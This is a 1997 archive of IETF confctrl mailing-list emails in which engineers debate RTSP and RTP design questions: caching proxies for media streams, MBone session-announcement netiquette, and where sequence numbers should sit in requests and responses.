Subject: Caching RTP
To: schulzrinne@cs.columbia.edu (Henning Schulzrinne)
Date: Mon, 18 Aug 1997 10:45:26 +0200 (MET DST)
Cc: confctrl@ISI.EDU
In-Reply-To: <33F4FB9E.7DD2FDFD@cs.columbia.edu> from "Henning Schulzrinne" at Aug 15, 97 09:00:14 pm
X-Mailer: ELM [version 2.4 PL25 PGP2]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


 
> Why, in particular, is it difficult to cache media streams? There are
> some particular issues, such as dealing with 'holes' left by
> random-access PLAY, but did you have anything else in mind?


	Actually I find a number of issues. Now that you say it's
not difficult, I'm a bit confused. Maybe you know something I don't.

	+ To start caching it the proxy will have to modify
directly the destination address/port in the transport header
(unless you want only cache Interleaved data), take active part
in the Resource Reservation Protocol in use (I'm assuming in
the future real-time delivery will in the rule make use of one),
and will add latency in the real-time contections.
	(I thought that the data carried out-of-band would not
go through proxies, but it does make sense in some cases)
	(Actually, now that I think about the implications of
having the other end of the TCP connection as default destination,
I realize that the proxy would have to modify the 'port' fields
in 'Transport:' and convey the RTP data anyway)

	+ The proxy will have to understand RTP (or other transport
protocols used) headers, at least time information and SSRC.
I suppose you don't want to restrict the use of the cached data
to request which have exactly the same Range:. This means that
it will have to understand at least partially RTP. (And
leaves still the problem of if it should reuse the same RTP
packets cached, or 'recode' them. What if the new Range requested
begins at the middle of an RTP packet? Does the proxy send the
whole of it? Does the proxy request the server a first packet
starting at the correct point and then starts delivering the
next packet cached? ...)

	+ The proxy will have to understand much more than
Transport: fields. Speed: and Scale: headers will be important,
'PAUSE' requests, ... It will have to mantain tables with
Session identifiers, URLs (according with your answer to
'Anders Klemets' about the need of Session:), SSRCs and
UDP ports at the proxy.
	Ex: Let's suppose a client want to receive a multiple
stream presentation. The proxy would have to modify all the
Transport: headers and redirect them to its own ports, it then
will have to remember all the streams part of the presentation
and be able to identify them. When getting a second play it
will have to identify which data is exactly being requested
(this involves Session-Id, URL, Ranges, RTP timing information, ...)

***
	+ As far as I know, proxies work in a best-effort delivery
manner, while I (and probably a client) expect a multimedia server
to deliver the data according to its time properties (one
reason is buffer space, ... but I think you know more than I do about
that). Should the proxy deal with this timing?


	+ There are a number of minor issues like:

	- If a cached stream is requested at a different rate, it
shouldn't be delivered by the proxy, because the server might have
different streams (maybe lower resolution for fast forward...)
for different scales. The use of 'Cache-Control:' is not trivial.
It should be the server, not the client who decides if it's
cacheable or not, but the 'normal rate' stream might be
cacheable, while the request for the 'fast forward rate' stream
(not cacheable) never reaches the server.
	This can also be seen as a Content Negotiation issue, but
its not addressed as such. (Maybe 'Accept:' & ... could
be used for this purpose)

	- How can a stream be invalidated? I'm not sure how it's
done in HTTP (or even if it's allways possible, including a
server-driven invalidation), but I suppose it's more difficult if
the data to be invalidated is carried out of band.

	- UDP losts are accumulated. (In the rtsp-00 version an
UDP_RESEND method was defined, but there is nothing similar
now, is it).

	- The number of ports in the proxy is proportional
to the *active* streams. (Unless SSRC demux. is used, sharing
UDP ports)


	TO SUMMARIZE, the more important considerations:
	- RTP has to be partially understood
	- Resource Reservation Protocols have to be taken into consideration
	- Best-effort delivery must be substituted by timely delivery


	People here used to be concerned about making life
easy for proxies and firewalls, but even the more simple ways of
caching streams became complex enough, in my opinion. (I think
that, at least, the proxy would have to partially understand
RTP, and to implement some kind of timely delivery instead of
the best-effort delivery system). The use of resource reservation
protocols becomes a bit more difficult as well, given that
(using RSVP as example) the client would have to make the
request involving the path between itself and the proxy, and
the proxy the path between itself and the server (I don't know
enough about RSVP to know if it considers directly the support
for proxies, but if not, as the routes may change dinamically
independently of RSVP, I don' see other solution), or even
more complex if there is a proxies herarchie.




	I don't mean that the use of proxies for RTSP & RTP/...
is a bad idea. Only that it is much more difficult than just
addapting existent proxies.
 

>> [...]
> This is indeed fuzzy. I see several possibilities:
> 
> (1) Expiration of ANNOUNCE/DESCRIBE is the same as that of the stream.
> [...]
> 
> (2) The two are kept separate. "Expires" in a SETUP response indicates
> the expiration of the media stream. This is more flexible, I think, as
> [...] 


	I like both, but specially the second. It makes it easier for
the proxies.


	P.S.: My knowledge about proxies is quite limited, I'm
sorry if I did address issues which are already solved or if I
didn't use the correct terminology.

-- 
Francisco Cortes (Paco)
		
cortes@uni-paderborn.de

From majordom@ISI.EDU  Mon Aug 18 04:44:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03709>; Mon, 18 Aug 1997 05:46:12 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03703>; Mon, 18 Aug 1997 05:46:10 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA24990
	for <confctrl@ISI.EDU>; Mon, 18 Aug 1997 05:46:08 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Mon Aug 18 08:44:44 EDT 1997
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by research; Mon Aug 18 08:44:48 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94]) by couch.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id IAA01804; Mon, 18 Aug 1997 08:44:46 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id IAA14791; Mon, 18 Aug 1997 08:44:46 -0400 (EDT)
Message-Id: <33F843BD.F0206D7@cs.columbia.edu>
Date: Mon, 18 Aug 1997 08:44:45 -0400
From: "Henning Schulzrinne (BL)" <schulzrinne@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: cortes@uni-paderborn.de
Cc: confctrl@ISI.EDU
Subject: Re: Caching RTP
References: <199708180845.KAA28867@freeway.uni-paderborn.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The issues you identify are (mostly) real, except that these
difficulties describe the difficulties of building an RTSP server and
somehow assume that building caching proxies should be easier. I never
claimed that you can take an HTTP proxy, put it through some marketing
seminar and out comes an RTSP server.

Just like RTSP media servers have to "understand" more about the content
they are shipping than HTTP servers, in order to generate packets with
the right timing, this is also the case for RTSP proxy caches. This does
not have to be complicated: rtpplay does the type of timing and RTP
interpretation you describe (without trick modes) and is 330 lines long.

Just like HTTP caches are often built on top of some form of HTTP server
or at least share a large fraction of code, this will likely be true for
RTSP. Proxy caches are, architecturally speaking, both a client and a
server, so you'd expect them to be non-trivial.

Note that asking for delivery in the middle of a packet is not
fundamentally different from asking for a starting time between two
video frames. If you care about frame-level accuracy, you don't do that
(and use SMPTE to avoid the problem); you hope for a sensible server
otherwise and don't worry about an extra 20 ms of audio.

Caches have opportunities for loss reconstruction that are inappropriate
for end systems.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sun Aug 24 02:32:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21381>; Sun, 24 Aug 1997 02:32:21 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21375>; Sun, 24 Aug 1997 02:32:19 -0700
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA12575
	for <confctrl@isi.edu>; Sun, 24 Aug 1997 02:32:18 -0700 (PDT)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12] (may be forged)) by proxy3.ba.best.com (8.8.7/8.8.BEST) with SMTP id CAA08611 for <confctrl@isi.edu>; Sun, 24 Aug 1997 02:31:34 -0700 (PDT)
Message-Id: <3.0.3.16.19970824022518.0e17d6d6@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (16)
Date: Sun, 24 Aug 1997 02:25:18
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@lvn.com>
Subject: Some tips for MBone session announcers (& writers of announcer
  programs)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In recent weeks (& especially last week) we've seen a large number of
frivolous sessions announced to the default SDP directory.  This is due in
part to the fact that "MBone session announcing netiquette" has not yet
been well publicised.  However, design flaws in some of the newer session
announcing programs also seem to be a contributing factor.

To help reduce the clutter in the default SDP directory, here are some tips
for making MBone session announcements (& some tips for people who have
implemented session announcing programs).

1/ Scope
If you're creating just a 'test' session, then please limit its scope, so
that the rest of the world doesn't have to be bothered by it.
[Tip for session announcement program implementors: Make the default scope
for new announcements small.]

2/ Lifetime
As the SDP spec notes, sessions that are unbounded in time - i.e., have no
expiration date - are strongly discouraged.  Please add a (realistic)
expiration date on your session announcement.
[Tip for session announcement program implementors: Make it difficult, if
not impossible, to create a session without an expiration date.  Also, make
the default expiration date small - e.g., 2 hours after the start time, as
is done by "sdr", for instance.]

3/ Modifying announcements
If you wish to make a change to a previously announced session - e.g., to
change the start time or fix a typo - then please do so by editing the
existing announcement, rather than creating a new announcement.
[Tip for session announcement program implementors: Remember that a session
is identified, in part, by the <session id> field in "o=".  If an existing
session announcement is changed (e.g., by editing), then the <session id>
field should remain the *same as before*, otherwise receivers will think
that the modified announcement is for a completely new session.  (Note:
Even some versions of "sdr" seem to get this wrong.)]

4/ Start time
If you're announcing an event that occurs in the future, please try to set
an accurate start time.  Some session browsers make use of the start time
to order its list of sessions, and/or to allow the launch of a session to
be automatically scheduled to occur on its start time.
[Tip for session announcement program implementors: Make it easy for the
user to set a start time when announcing a new session.]

	Ross.



From majordom@ISI.EDU  Mon Aug 25 13:39:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12010>; Mon, 25 Aug 1997 20:36:52 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11956>; Mon, 25 Aug 1997 20:36:47 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA27656
	for <confctrl@ISI.EDU>; Mon, 25 Aug 1997 20:36:45 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA16737
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 25 Aug 1997 20:36:41 -0700
Message-Id: <3.0.3.32.19970825203946.0143c59c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 25 Aug 1997 20:39:46 -0700
To: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Re: SIP, RTSP: sequence numbers
In-Reply-To: <34021F65.87A80D43@dnrc.bell-labs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:12 PM 8/25/97 -0400, Henning Schulzrinne (BL) wrote:
>Suggestion: Move RTSP timestamp from request-line to Sequence: header,
>making the RTSP request/response line conformant with HTTP (and SIP).

This is agenda item 1f from Munich, quoted below:

   1f. Sequence number moved to the header fields
   
   Once upon a time, both SIP and RTSP had a sequence number in the top line
   of the request (and the response), and HTTP didn't.  Now only RTSP has
   this.  It's been suggested that we move this down to the RFC822 fields.
   This may be a bad idea changing this at this in RTSP at this stage, unless
   there is a strong feeling that it should be changed (this is my personal
   bias-RL).  Henning may wish to comment on this :)

Based on the conversation in Munich, my bias is still to leave it the way
it is (nobody stood up in defense of changing either protocol).  There were
many in Munich who felt that RTSP is a different protocol and hence
deserves its own syntax.  I feel that the sequence number is more
fundemental than your run-of-the-mill header field, and so affording it a
special place is a good thing.

Is there anyone who wasn't in Munich who would like to comment (or is there
anyone who was in Munich who is changing their mind?)

BTW, "timestamp" is accurate.  It is a sequence number in that line.

Rob
----
At 08:12 PM 8/25/97 -0400, Henning Schulzrinne (BL) wrote:
>Suggestion: Move RTSP timestamp from request-line to Sequence: header,
>making the RTSP request/response line conformant with HTTP (and SIP).
>
>Reasoning: this makes it possible to build a common parser for HTTP, SIP
>and RTSP, easily. It seems strange to have two different ways of doing
>timestamps within the same WG. (SIP does not currently need timestamps
>[although only if we ignore certain race conditions such as INVITE
>overlapping with BYE to cancel call], but it has been equipped with
>that, just in case new methods might. Some of the possible uses in the
>PINT context suggest that.)
>
>Comments?
>
>(This needs to be resolved expeditiously.)
>-- 
>Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
>Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
>Columbia University         fax:   +1 212 666-0140
>New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
>
>
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Tue Aug 26 13:44:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20031>; Tue, 26 Aug 1997 02:44:55 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20025>; Tue, 26 Aug 1997 02:44:54 -0700
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA04647
	for <confctrl@isi.edu>; Tue, 26 Aug 1997 02:44:50 -0700 (PDT)
Received: by www45.inria.fr (8.8.6/8.8.5) id LAA15374; Tue, 26 Aug 1997 11:44:39 +0200 (MET DST)
Message-Id: <199708260944.LAA15374@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Re: SIP, RTSP: sequence numbers 
In-Reply-To: Your message of "Mon, 25 Aug 1997 20:12:21 EDT."
             <34021F65.87A80D43@dnrc.bell-labs.com> 
Date: Tue, 26 Aug 1997 11:44:38 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Suggestion: Move RTSP timestamp from request-line to Sequence: header,
>making the RTSP request/response line conformant with HTTP (and SIP).

yes, please !

when I showed the RTSP spec to our jigsaw architect (W3C http server),
this was a thing he absolutely hated, because it meant that the
Jigsaw parser would have to be rewritten compeletely.

-Philipp

From majordom@ISI.EDU  Wed Aug 27 02:45:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23569>; Tue, 26 Aug 1997 15:45:28 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23563>; Tue, 26 Aug 1997 15:45:26 -0700
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA04283
	for <confctrl@isi.edu>; Tue, 26 Aug 1997 15:45:24 -0700 (PDT)
Received: by www45.inria.fr (8.8.6/8.8.5) id AAA20611; Wed, 27 Aug 1997 00:45:11 +0200 (MET DST)
Message-Id: <199708262245.AAA20611@www45.inria.fr>
To: confctrl@ISI.EDU
From: Philipp Hoschka <hoschka@w3.org>
Subject: "seq" in Transport-Info
Date: Wed, 27 Aug 1997 00:45:10 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


12.36 Transport-Info

     This field is used to set Transport specific parameters in the PLAY
   response.

   seq:
          Indicates the sequence number of the first packet of the
          stream. This allows clients to gracefully deal with packets
          when seeking. The client uses this value to differentiate
          packets that originated before the seek from packets that
          originated after the seek.

Could somebody explain why this is needed ?

An example would be great - the one given in the text does not
convince me.

Assume the client has plaid a stream up to timecode 00:00:01, 
and now sends out a seek, e.g. to 00:00:05. In this case, the
client can compute which sequence number to expect in the first packet
after the seek, since it knows which seq-number the stream has 
started at, and it also knows the clockrate of the stream.

I guess the real reason is if the initial packets of the stream are
lost - in this case, subsequent seeks do not actually jump to the
right place in the stream when a randomized initial sequence number
is used (as is the case in RTP, for security reasons). 

Assume you loose the packets for the first second in the above 
example. Using the method described above, after the seek the 
client will then start playing packets starting from 00:00:06,
instead of 00:00:01. This is because with RTP, there is no
way for the client to find out that the first second of the 
stream was lost.

In this case, it seems enough to send only the initial
sequence number, e.g. as part of the session description, not
in every play request. This would avoid the race condition
between the play response and the stream data packets.

Moreover, using a randomized initial sequence number for 
security seems pointless if this initial sequence number is 
transported in cleartext in RTSP. 

Should we drop the random initial seq number for RTP streams
requested via RTSP, and simply start sequence numbers at 0 ? Hm, 
I guess the RTSP traffic could also be encrypted, but 
"known plaintext attacks" on RTSP are probably quite easy (if 
only because RTSP doesn't use randomized sequence numbers for 
its requests). Then again, I'm not a security expert.

Has anybody seriously considered to simply start RTP sequence 
numbers at 0 ? 

I have the feeling this isn't all that bad - it certainly
doesn't seem to make things less secure - and it would 
avoid a couple of problems in RTSP, especially the
race condition between stream data and the PLAY response. 

The only counter-argument I see is that existing RTP code 
would have to be hacked to do this, and, of course, that
it "breaks the RTP standard" - but RTP wasn't designed with
media on demand in mind, and adjusting the standard in this
respect seems better to me than kluding a work-around into
RTSP.

-Philipp Hoschka, W3C

From majordom@ISI.EDU  Tue Aug 26 10:21:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29270>; Tue, 26 Aug 1997 17:22:25 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29264>; Tue, 26 Aug 1997 17:22:24 -0700
Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24632
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 17:22:23 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id RAA17135
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 17:21:52 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA12045;
          Tue, 26 Aug 1997 17:21:50 -0700
Message-Id: <34037320.F6684FB9@netscape.com>
Date: Tue, 26 Aug 1997 17:21:52 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl@ISI.EDU
Subject: Re: SIP, RTSP: sequence numbers
X-Priority: 3 (Normal)
References: <199708260944.LAA15374@www45.inria.fr>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msDC0DADFB6CC0C1EA0250B820"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------msDC0DADFB6CC0C1EA0250B820
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Philipp Hoschka wrote:

> >Suggestion: Move RTSP timestamp from request-line to Sequence:
> header,
> >making the RTSP request/response line conformant with HTTP (and SIP).
>
> yes, please !
>
> when I showed the RTSP spec to our jigsaw architect (W3C http server),
>
> this was a thing he absolutely hated, because it meant that the
> Jigsaw parser would have to be rewritten compeletely.
>
> -Philipp

  I don't quite understand this, and here's why:

Case 1: Control channel over TCP - In this case it can be argued that
you can just ignore the sequence number. I should think the code change,
if any is minimal.
Case 2: Control channel over UDP : Since the control channel is now not
a stream based one, the changes to Jigsaw would be significant
regardless. I'll buy that it is possible to do this in a manner
independant of whether the control channel is UDP or TCP, but still dont
understand why the sequence number being in the request line would imply
a significant rewrite.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------


--------------msDC0DADFB6CC0C1EA0250B820
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FL0alFI3w4yNWoce03acTKrXplfcMBwGCSqGSIb3DQEJBTEPFw05NzA4MjcwMDIxNTJaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEArRdczRhRanKal
frDD5cH3mmcB7hRpLmlkM3Lpl6CCE8HGZicgthOktMtsMyGF1zPEsyVgpHq2pogwHH1WnOjZ

--------------msDC0DADFB6CC0C1EA0250B820--


From majordom@ISI.EDU  Tue Aug 26 10:53:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00832>; Tue, 26 Aug 1997 17:55:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00822>; Tue, 26 Aug 1997 17:55:10 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA00419
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 17:55:09 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id RAA02194;
	Tue, 26 Aug 1997 17:54:25 -0700 (PDT)
Date: Tue, 26 Aug 1997 17:53:27 -0700 ()
From: Stephen Casner <casner@precept.com>
To: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
Cc: confctrl@ISI.EDU
Subject: Re: SIP, RTSP: sequence numbers
In-Reply-To: <34021F65.87A80D43@dnrc.bell-labs.com>
Message-Id: <Pine.WNT.3.95.970826173428.-188305I-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Suggestion: Move RTSP timestamp from request-line to Sequence: header,
> making the RTSP request/response line conformant with HTTP (and SIP).

I don't have a strong feeling about this issue.  Commonality of the
parser seems like a reasonable goal.

One possible downside is that there might be simple implementations
that are just looking for success/failure in the response and could
ignore the header fields.  Such an implementation would want the
sequence number on the response line to match up with the request.
But perhaps such an implementatin is unlikely -- maybe all will do a
full syntactic parsing first.
							-- Steve


From majordom@ISI.EDU  Tue Aug 26 11:24:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02664>; Tue, 26 Aug 1997 18:25:29 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02658>; Tue, 26 Aug 1997 18:25:28 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA01100
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 18:25:27 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA19575
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 18:24:51 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA3042;
          Tue, 26 Aug 1997 18:24:51 -0700
Message-Id: <340381E2.CB5EC475@netscape.com>
Date: Tue, 26 Aug 1997 18:24:51 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU
Subject: Re: "seq" in Transport-Info
X-Priority: 3 (Normal)
References: <199708262245.AAA20611@www45.inria.fr>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD686F38221DC79EEA55DC8ED"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------msD686F38221DC79EEA55DC8ED
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Philipp Hoschka wrote:

> Assume the client has plaid a stream up to timecode 00:00:01,
> and now sends out a seek, e.g. to 00:00:05. In this case, the
> client can compute which sequence number to expect in the first packet
>
> after the seek, since it knows which seq-number the stream has
> started at, and it also knows the clockrate of the stream.

Not necessarily. There's no telling how the stream is packetised - it
may be packets of variable length aligned at some weird boundary, there
just isn't an accurate way of saying timestamp "xx" is y packets from
now.

> I guess the real reason is if the initial packets of the stream are
> lost - in this case, subsequent seeks do not actually jump to the
> right place in the stream when a randomized initial sequence number
> is used (as is the case in RTP, for security reasons).

Yes, the fact that the first packet may be lost is the primary reason.
The first timestamp is usually known, but timestamps may be the same for
more than one packet.

> Assume you loose the packets for the first second in the above
> example. Using the method described above, after the seek the
> client will then start playing packets starting from 00:00:06,
> instead of 00:00:01. This is because with RTP, there is no
> way for the client to find out that the first second of the
> stream was lost.
>
> In this case, it seems enough to send only the initial
> sequence number, e.g. as part of the session description, not
> in every play request. This would avoid the race condition
> between the play response and the stream data packets.

Again, you don't necessarily know the number of packets that you expect
to receive before packets belonging to the next range are sent.

> Has anybody seriously considered to simply start RTP sequence
> numbers at 0 ?
